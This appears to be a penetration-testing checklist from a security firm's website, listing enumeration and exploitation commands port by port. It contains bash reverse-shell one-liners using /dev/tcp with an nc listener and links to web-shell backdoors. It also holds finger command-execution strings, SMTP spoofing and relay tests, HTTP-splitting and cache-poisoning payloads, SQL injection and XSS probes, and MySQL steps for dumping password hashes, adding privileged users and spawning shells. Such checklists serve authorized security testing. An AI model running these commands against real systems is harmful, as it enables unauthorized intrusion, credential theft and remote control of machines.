www.Cloud-Security.us

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Telephone: 732-763-2814
Email: service@infosecpro.com
Cloud-Security.us

T O P   T H R E A T S :

Abuse of Cloud Computing

Insecure Interfaces and APIs
Malicious Insiders
Shared Technology Issues
Data Loss or Leakage
Account or Service Hijacking
Unknown Risk Profile

VULNERABILITIES:

Common Exploits

Server Specific
Network Specific
CISCO Specific

CITRIX Specific

T E S T I N G   S T E P S

Footprinting
Discovery
Enumeration
Password Craking

Enumeration:

  • Daytime port 13 open
  • FTP port 21 open
    • 1. Fingerprint server
      • telnet ip_address 21 (Banner grab)
      • Run command ftp ip_address
      • ftp@example.com
      • Check for anonymous access
        • ftp ip_addressUsername: anonymous OR anonPassword: any@email.com
    • 2. Password guessing
    • 3. Examine configuration files
      • ftpusers
      • ftp.conf
      • proftpd.conf
    • 4. MiTM
  • SSH port 22 open
  • Telnet port 23 open
    • 1. Fingerprint server
      • 1. telnet ip_address
        • Common Banner ListOS/BannerSolaris 8/SunOS 5.8Solaris 2.6/SunOS 5.6Solaris 2.4 or 2.5.1/Unix(r) System V Release 4.0 (hostname)SunOS 4.1.x/SunOS Unix (hostname)FreeBSD/FreeBSD/i386 (hostname) (ttyp1)NetBSD/NetBSD/i386 (hostname) (ttyp1)OpenBSD/OpenBSD/i386 (hostname) (ttyp1)Red Hat 8.0/Red Hat Linux release 8.0 (Psyche)Debian 3.0/Debian GNU/Linux 3.0 / hostnameSGI IRIX 6.x/IRIX (hostname)IBM AIX 4.1.x/AIX Version 4 (C) Copyrights by IBM and by others 1982, 1994.IBM AIX 4.2.x or 4.3.x/AIX Version 4 (C) Copyrights by IBM and by others 1982, 1996.Nokia IPSO/IPSO (hostname) (ttyp0)Cisco IOS/User Access VerificationLivingston ComOS/ComOS - Livingston PortMaster
    • 2. Password Attack
    • 3. Examine configuration files
      • /etc/inetd.conf
      • /etc/xinetd.d/telnet
      • /etc/xinetd.d/stelnet
  • Sendmail Port 25 open
    • 1. Fingerprint server
      • telnet ip_address 25 (banner grab)
    • 2. Mail Server Testing
      • Enumerate users
        • VRFY username (verifies if username exists - enumeration of accounts)
        • EXPN username (verifies if username is valid - enumeration of accounts)
      • Mail Spoof Test
        • HELO anything MAIL FROM: spoofed_address RCPT TO:valid_mail_account DATA . QUIT
      • Mail Relay Test
        • HELO anything

          • Identical to/from - mail from: <nobody@domain> rcpt to: <nobody@domain>
          • Unknown domain - mail from: <user@unknown_domain>
          • Domain not present - mail from: <user@localhost>
          • Domain not supplied - mail from: <user>
          • Source address omission - mail from: <> rcpt to: <nobody@recipient_domain>

          • Use IP address of target server - mail from: <user@IP_Address> rcpt to: <nobody@recipient_domain>
          • Use double quotes - mail from: <user@domain> rcpt to: <"user@recipent-domain">

          • User IP address of the target server - mail from: <user@domain> rcpt to: <nobody@recipient_domain@[IP Address]>

          • Disparate formatting - mail from: <user@[IP Address]> rcpt to: <@domain:nobody@recipient-domain>

          • Disparate formatting2 - mail from: <user@[IP Address]> rcpt to: <recipient_domain!nobody@[IP Address]>

    • 3. Examine Configuration Files
      • sendmail.cf
      • submit.cf
  • DNS port 53 open
    • 1. Fingerprint server/ service
      • host
        • host [-aCdlnrTwv ] [-c class ] [-N ndots ] [-R number ] [-t type ] [-W wait ] name [server ] -v verbose format -t (query type) Allows a user to specify a record type i.e. A, NS, or PTR. -a Same as –t ANY. -l Zone transfer (if allowed). -f Save to a specified filename.
      • nslookup
        • nslookup [ -option ... ] [ host-to-find | - [ server ]]
      • dig
        • dig [ @server ] [-b address ] [-c class ] [-f filename ] [-k filename ] [-p port# ] [-t type ] [-x addr ] [-y name:key ] [-4 ] [-6 ] [name ] [type ] [class ] [queryopt... ]
      • whois-h Use the named host to resolve the query -a Use ARIN to resolve the query -r Use RIPE to resolve the query -p Use APNIC to resolve the query -Q Perform a quick lookup
    • 2. DNS Enumeration
        • perl BiLE.pl [website] [project_name]
        • perl BiLE-weigh.pl [website] [input file]
        • perl vet-IPrange.pl [input file] [true domain file] [output file] <range>
        • perl vet-mx.pl [input file] [true domain file] [output file]
        • perl exp-tld.pl [input file] [output file]
        • perl jarf-dnsbrute [domain_name] (brutelevel) [file_with_names]
        • perl qtrace.pl [ip_address_file] [output_file]
        • perl jarf-rev [subnetblock] [nameserver]
        • txdns -rt -t domain_name
        • txdns -x 50 -bb domain_name
        • txdns --verbose -fm wordlist.dic --server ip_address -rr SOA domain_name -h c: \hostlist.txt
      • nmap nse scripts
    • 3. Examine Configuration Files
      • host.conf
      • resolv.conf
      • named.conf
  • TFTP port 69 open
    • 1. TFTP Enumeration
      • tftp ip_address PUT local_file
      • tftp ip_address GET conf.txt (or other files)
      • Solarwinds TFTP server
      • tftp – i <IP> GET /etc/passwd (old Solaris)
    • 2. TFTP Bruteforcing
  • Finger Port 79 open
    • 1. User enumeration
      • finger 'a b c d e f g h' @example.com
      • finger admin@example.com
      • finger user@example.com
      • finger 0@example.com
      • finger .@example.com
      • finger **@example.com
      • finger test@example.com
      • finger @example.com
      • nmap nse script
    • 2. Command execution
      • finger "|/bin/id@example.com"
      • finger "|/bin/ls -a /@example.com"
    • 3. Finger Bounce
      • finger user@host@victim
      • finger @internal@external
  • Web Ports 80,8080 etc. open
    • 1. Fingerprint server
    • 2. Crawl website
      • lynx [options] startfile/URL Options include -traversal -crawl -dump -image_links -source
        • metagoofil.py -d [domain] -l [no. of] -f [type] -o results.html
    • 3. Web Directory enumeration
    • 4. Vulnerability Assessment
      • Manual Tests
        • Install Backdoors
          • ASP
            • http://packetstormsecurity.org/UNIX/penetration/aspxshell.aspx.txt
          • Assorted
            • http://michaeldaw.org/projects/web-backdoor-compilation/
            • http://open-labs.org/hacker_webkit02.tar.gz
          • Perl
            • http://home.arcor.de/mschierlm/test/pmsh.pl
            • http://pentestmonkey.net/tools/perl-reverse-shell/
            • http://freeworld.thc.org/download.php?t=r&f=rwwwshell-2.0.pl.gz
          • PHP
            • http://php.spb.ru/remview/
            • http://pentestmonkey.net/tools/php-reverse-shell/
            • http://pentestmonkey.net/tools/php-findsock-shell/
          • Python
            • http://matahari.sourceforge.net/
          • TCL
            • http://www.irmplc.com/download_pdf.php?src=Creating_Backdoors_in_Cisco_IOS_using_Tcl.pdf&force=yes
          • Bash Connect Back Shell
              • Atttack Box: nc -l -p Port -vvv
              • Victim: $ exec 5<>/dev/tcp/IP_Address/Port

                Victim: $ cat <&5 | while read line; do $line 2>&5 >&5; done

              • Atttack Box: nc -l -p Port -vvv
              • Victim: $ exec 0</dev/tcp/IP_Address/Port # First we copy our connection over stdin

                Victim: $ exec 1>&0 # Next we copy stdin to stdout

                Victim: $ exec 2>&0 # And finally stdin to stderr

                Victim: $ exec /bin/sh 0</dev/tcp/IP_Address/Port 1>&0 2>&0

        • Method Testing
          • nc IP_Adress Port
            • HEAD / HTTP/1.0
            • OPTIONS / HTTP/1.0
            • PROPFIND / HTTP/1.0
            • TRACE / HTTP/1.1
            • PUT http://Target_URL/FILE_NAME
            • POST http://Target_URL/FILE_NAME HTTP/1.x
        • Upload Files
          • curl
            • curl -u <username:password> -T file_to_upload <Target_URL>
            • curl -A "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" <Target_URL>
            • put.pl -h target -r /remote_file_name -f local_file_name
          • webdav
        • View Page Source
          • Hidden Values
          • Developer Remarks
          • Extraneous Code
          • Passwords!
          • NULL or null
            • Possible error messages returned.
          • ' , " , ; , <!
            • Breaks an SQL string or query; used for SQL, XPath and XML Injection tests.
          • – , = , + , "
            • Used to craft SQL Injection queries.
          • ‘ , &, ! , ¦ , < , >
            • Used to find command execution vulnerabilities.
          • "><script>alert(1)</script>
            • Basic Cross-Site Scripting Checks.
          • %0d%0a
            • Carriage Return (%0d) Line Feed (%0a)
              • HTTP Splitting
                • language=?foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2047%0d%0a%0d%0a<html>Insert undesireable content here</html>

                  • i.e. Content-Length= 0 HTTP/1.1 200 OK Content-Type=text/html Content-Length=47<html>blah</html>
              • Cache Poisoning
                • language=?foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20304%20Not%20Modified%0d%0aContent-Type:%20text/html%0d%0aLast-Modified:%20Mon,%2027%20Oct%202003%2014:50:18%20GMT%0d%0aContent-Length:%2047%0d%0a%0d%0a<html>Insert undesireable content here</html>

          • %7f , %ff
            • byte-length overflows; maximum 7- and 8-bit values.
          • -1, other
            • Integer and underflow vulnerabilities.
          • %n , %x , %s
            • Testing for format string vulnerabilities.
          • ../
            • Directory Traversal Vulnerabilities.
          • % , _, *
            • Wildcard characters can sometimes present DoS issues or information disclosure.
          • Ax1024+
            • Overflow vulnerabilities.
        • Automated table and column iteration
            • ./orderby.py www.site.com/index.php?id=
            • ./d3sqlfuzz.py www.site.com/index.php?id=-1+UNION+ALL+SELECT+1,COLUMN,3+FROM+TABLE--
      • Vulnerability Scanners
      • Specific Applications/ Server Tools
        • Domino
        • Joomla
            • ./cms.py <site-name>
            • ./joomsq.py <IP>
            • ./joomlascan.py <site> <options>  [options i.e. -p/-proxy <host:port> : Add proxy support -404 : Don't show 404 responses]

            • ./joomscan.py -u "www.site.com/joomladir/" -o site.txt -p 127.0.0.1:80
            • jscan.pl -f hostname
            • (shell.txt required)
          • asp-audit.pl http://target/app/filename.aspx (options i.e. -bf)
        • Vbulletin
            • vbscan.py <host> <port> -v
            • vbscan.py -update
        • ZyXel
          • snmpwalk
            • snmpwalk -v2c -c public IP_Address 1.3.6.1.4.1.890.1.2.1.2
          • snmpget
            • snmpget -v2c -c public IP_Address 1.3.6.1.4.1.890.1.2.1.2.6.0
    • 5. Proxy Testing
    • 6. Examine configuration files
      • Generic
        • Examine httpd.conf/ windows config files
        • JMX Console http://<IP>:8080/jmxconcole/
      • Joomla
        • configuration.php
        • diagnostics.php
        • joomla.inc.php
        • config.inc.php
      • Mambo
        • configuration.php
        • config.inc.php
      • Wordpress
        • setup-config.php
        • wp-config.php
        • /WAN.html (contains PPPoE ISP password)
        • /WLAN_General.html and /WLAN.html (contains WEP key)
        • /rpDyDNS.html (contains DDNS credentials)
        • /Firewall_DefPolicy.html (Firewall)
        • /CF_Keyword.html (Content Filter)
        • /RemMagWWW.html (Remote MGMT)
        • /rpSysAdmin.html (System)
        • /LAN_IP.html (LAN)
        • /NAT_General.html (NAT)
        • /ViewLog.html (Logs)
        • /rpFWUpload.html (Tools)
        • /DiagGeneral.html (Diagnostic)
        • /RemMagSNMP.html (SNMP Passwords)
        • /LAN_ClientList.html (Current DHCP Leases)
        • Config Backups
          • /RestoreCfg.html
          • /BackupCfg.html
          • Note: - The above config files are not human readable and the following tool is required to breakout possible admin credentials and other important settings
    • 7. Examine web server logs
      • c:\winnt\system32\Logfiles\W3SVC1
        • awk -F " " '{print $3,$11} filename | sort | uniq
    • References
    • Exploit Frameworks
  • Portmapper port 111 open
      • rpcdump.py username:password@IP_Address port/protocol (i.e. 80/HTTP)
    • rpcinfo
      • rpcinfo [options] IP_Address
  • NTP Port 123 open
    • 1. NTP Enumeration
      • 1. ntpdc -c monlist IP_ADDRESS
      • 2. ntpdc -c sysinfo IP_ADDRESS
      • 3. ntpq
        • host
        • hostname
        • ntpversion
        • readlist
        • version
    • 2. Examine configuration files
      • ntp.conf
    • 3. nmap nse script
  • NetBIOS Ports 135-139,445 open
  • SNMP port 161 open
    • 1. Default Community Strings
      • public
      • private
      • cisco
        • cable-docsis
        • ILMI
    • 2. MIB enumeration
      • Windows NT
        • .1.3.6.1.2.1.1.5 Hostnames
        • .1.3.6.1.4.1.77.1.4.2 Domain Name
        • .1.3.6.1.4.1.77.1.2.25 Usernames
        • .1.3.6.1.4.1.77.1.2.3.1.1 Running Services
        • .1.3.6.1.4.1.77.1.2.27 Share Information
      • snmpwalk
        • snmpwalk -v <Version> -c <Community string> <IP>
      • Applications
        • ZyXel
          • snmpget -v2c -c <Community String> <IP> 1.3.6.1.4.1.890.1.2.1.2.6.0
          • snmpwalk -v2c -c <Community String> <IP> 1.3.6.1.4.1.890.1.2.1.2
      • nmap nse script
    • 3. SNMP Bruteforce
    • 4. Examine SNMP Configuration files
      • snmp.conf
      • snmpd.conf
      • snmp-config.xml
  • LDAP Port 389 Open
    • 1. ldap enumeration
        • ldapminer -h ip_address -p port (not required if default) -d
        • Gui based tool
        • Gui based tool
        • ldapsearch [-n] [-u] [-v] [-k] [-K] [-t] [-A] [-L[L[L]]] [-M[M]] [-d debuglevel] [-f file] [-D binddn] [-W] [-w passwd] [-y passwdfile] [-H ldapuri] [-h ldaphost] [-p ldapport] [-P 2|3] [-b searchbase] [-s base|one|sub] [-a never|always|search|find] [-l timelimit] [-z sizelimit] [-O security-properties] [-I] [-U authcid] [-R realm] [-x] [-X authzid] [-Y mech] [-Z[Z]] filter [attrs...]
        • ldapadd [-c][-S file][-n][-v][-k][-K][-M[M]][-d debuglevel][-D binddn][-W][-w passwd][-y passwdfile][-h ldaphost][-p ldap-port][-P 2|3][-O security-properties][-I][-Q][-U authcid][-R realm][-x][-X authzid][-Y mech][-Z[Z]][-f file]
        • ldapdelete [-n][-v][-k][-K][-c][-M[M]][-d debuglevel][-f file][-D binddn][-W][-w passwd][-y passwdfile][-H ldapuri][-h ldaphost][-P 2|3][-p ldapport][-O security-properties][-U authcid][-R realm][-x][-I][-Q] [-X authzid][-Y mech][-Z[Z]][dn]
        • ldapmodify [-a][-c][-S file][-n][-v][-k][-K][-M[M]][-d debuglevel][-D binddn][-W][-w passwd][-y passwdfile][-H ldapuri][-h ldaphost][-p ldapport][-P 2|3][-O security-properties][-I][-Q][-U authcid][-R realm][-x][-X authzid][-Y mech][-Z[Z]][-f file]
        • ldapmodrdn [-r][-n][-v][-k][-K][-c][-M[M]][-d debuglevel][-D binddn][-W][-w passwd][-y passwdfile] [-H ldapuri][-h ldaphost][-p ldapport][-P 2|3][-O security-properties][-I][-Q][-U authcid][-R realm][-x] [-X authzid][-Y mech][-Z[Z]][-f file][dn rdn]
    • 2. ldap brute force
        • bf_ldap -s server -d domain name -u|-U username | users list file name -L|-l passwords list | length of passwords to generate optional: -p port (default 389) -v (verbose mode) -P Ldap user path (default ,CN=Users,)
    • 3. Examine Configuration Files
      • General
        • containers.ldif
        • ldap.cfg
        • ldap.conf
        • ldap.xml
        • ldap-config.xml
        • ldap-realm.xml
        • slapd.conf
      • IBM SecureWay V3 server
        • V3.sas.oc
      • Microsoft Active Directory server
        • msadClassesAttrs.ldif
      • Netscape Directory Server 4
        • nsslapd.sas_at.conf
        • nsslapd.sas_oc.conf
      • OpenLDAP directory server
        • slapd.sas_at.conf
        • slapd.sas_oc.conf
      • Sun ONE Directory Server 5.1
        • 75sas.ldif
  • PPTP/L2TP/VPN port 500/1723 open
  • Modbus port 502 open
  • rlogin port 513 open
    • Rlogin Enumeration
      • Find the files
        • find / -name .rhosts
        • locate .rhosts
      • Examine Files
        • cat .rhosts
      • Manual Login
        • rlogin hostname -l username
        • rlogin <IP>
      • Subvert the files
        • echo ++ > .rhosts
    • Rlogin Brute force
  • rsh port 514 open
    • 1. Rsh Enumeration
      • rsh host [-l username] [-n] [-d] [-k realm] [-f | -F] [-x] [-PN | -PO] command
    • 2. Rsh Brute Force
  • SQL Server Port 1433 1434 open
  • Citrix port 1494 open
  • Oracle Port 1521 Open
  • NFS Port 2049 open
    • 1. NFS Enumeration
      • showmount -e hostname/ip_address
      • mount -t nfs ip_address:/directory_found_exported /local_mount_point
    • 2. NFS Brute Force
    • 3. Examine Configuration Files
      • /etc/exports
      • /etc/lib/nfs/xtab
    • 4. nmap nse script
  • Compaq/HP Insight Manager Port 2301,2381open
    • 1. HP Enumeration
    • 2. HP Bruteforce
    • 3. Examine Configuration Files
      • path.properties
      • mx.log
      • CLIClientConfig.cfg
      • database.props
      • pg_hba.conf
      • jboss-service.xml
      • .namazurc
  • MySQL port 3306 open
    • Enumeration
      • nmap -A -n -p3306 <IP Address>
      • nmap -A -n -PN --script:ALL -p3306 <IP Address>
      • telnet IP_Address 3306
      • use test; select * from test;
      • To check for other DB's -- show databases
    • Administration
    • Manual Checks
      • Default usernames and passwords
        • username: root password:
        • testing
          • mysql -h <Hostname> -u root
          • mysql -h <Hostname> -u root
          • mysql -h <Hostname> -u root@localhost
          • mysql -h <Hostname>
          • mysql -h <Hostname> -u ""@localhost
      • Configuration Files
        • Operating System
          • windows
            • config.ini
            • my.ini
              • windows\my.ini
              • winnt\my.ini
            • <InstDir>/mysql/data/
          • unix
            • my.cnf
              • /etc/my.cnf
              • /etc/mysql/my.cnf
              • /var/lib/mysql/my.cnf
              • ~/.my.cnf
              • /etc/my.cnf
        • Command History
          • ~/.mysql.history
        • Log Files
          • connections.log
          • update.log
          • common.log
        • To run many sql commands at once -- mysql -u username -p < manycommands.sql
        • MySQL data directory (Location specified in my.cnf)
          • Parent dir = data directory
          • mysql
          • test
          • information_schema (Key information in MySQL)
            • Complete table list -- select table_schema,table_name from tables;
            • Exact privileges -- select grantee, table_schema, privilege_type FROM schema_privileges;
            • File privileges -- select user,file_priv from mysql.user where user='root';
            • Version -- select version();
            • Load a specific file -- SELECT LOAD_FILE('FILENAME');
        • SSL Check
          • mysql> show variables like 'have_openssl';
            • If there's no rows returned at all it means the the distro itself doesn't support SSL connections and probably needs to be recompiled. If its disabled it means that the service just wasn't started with ssl and can be easily fixed.
      • Privilege Escalation
        • Current Level of access
          • mysql>select user();
          • mysql>select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user where user='OUTPUT OF select user()';
        • Access passwords
          • mysql> use mysql
          • mysql> select user,password from user;
        • Create a new user and grant him privileges
          • mysql>create user test identified by 'test';
          • mysql> grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;
        • Break into a shell
          • mysql> \! cat /etc/passwd
          • mysql> \! bash
    • SQL injection
        • mysql-miner.pl http://target/ expected_string database
      • http://www.imperva.com/resources/adc/sql_injection_signatures_evasion.html
      • http://www.justinshattuck.com/2007/01/18/mysql-injection-cheat-sheet/
    • References.
      • Design Weaknesses
        • MySQL running as root
        • Exposed publicly on Internet
      • http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=mysql
      • http://search.securityfocus.com/swsearch?sbm=%2F&metaname=alldoc&query=mysql&x=0&y=0
  • RDesktop port 3389 open
    • 1. Rdesktop Enumeration
      • Remote Desktop Connection
    • 2. Rdestop Bruteforce
        • tsgrinder.exe -w dictionary_file -l leet -d workgroup -u administrator -b -n 2 IP_Address
  • Sybase Port 5000+ open
  • SIP Port 5060 open
    • 1. SIP Enumeration
        • nc IP_Address Port
        • python sipflanker.py 192.168.1-254
      • smap
        • smap IP_Address/Subnet_Mask
        • smap -o IP_Address/Subnet_Mask
        • smap -l IP_Address
    • 2. SIP Packet Crafting etc.
        • Tracing paths: - sipsak -T -s sip:usernaem@domain
        • Options request:- sipsak -vv -s sip:username@domain
        • Query registered bindings:- sipsak -I -C empty -a password -s sip:username@domain
    • 3. SIP Vulnerability Scanning/ Brute Force
    • 4. Examine Configuration Files
      • SIPDefault.cnf
      • asterisk.conf
      • sip.conf
      • phone.conf
      • sip_notify.conf
      • <Ethernet address>.cfg
      • 000000000000.cfg
      • phone1.cfg
      • sip.cfg etc. etc.
  • VNC port 5900^ open
    • 1. VNC Enumeration
      • Scans
        • 5900^ for direct access.5800 for HTTP access.
    • 2. VNC Brute Force
      • Password Attacks
        • Remote
          • Password Guess
          • Password Crack
            • Packet Capture
              • Phosshttp://www.phenoelit.de/phoss
        • Local
          • Registry Locations
            • \HKEY_CURRENT_USER\Software\ORL\WinVNC3
            • \HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3
          • Decryption Key
            • 0x238210763578887
    • 3. Exmine Configuration Files
      • .vnc
      • /etc/vnc/config
      • $HOME/.vnc/config
      • /etc/sysconfig/vncservers
      • /etc/vnc.conf
  • X11 port 6000^ open
    • 1. X11 Enumeration
      • List open windows
      • Authentication Method
        • Xauth
        • Xhost
    • 2. X11 Exploitation
      • xwd
        • xwd -display 192.168.0.1:0 -root -out 192.168.0.1.xpm
      • Keystrokes
        • Received
        • Transmitted
      • Screenshots
      • xhost +
    • 3. Examine Configuration Files
      • /etc/Xn.hosts
      • /usr/lib/X11/xdm
        • Search through all files for the command "xhost +" or "/usr/bin/X11/xhost +"

      • /usr/lib/X11/xdm/xsession
      • /usr/lib/X11/xdm/xsession-remote
      • /usr/lib/X11/xdm/xsession.0
      • /usr/lib/X11/xdm/xdm-config
        • DisplayManager*authorize:on
  • Tor Port 9001, 9030 open
  • Jet Direct 9100 open

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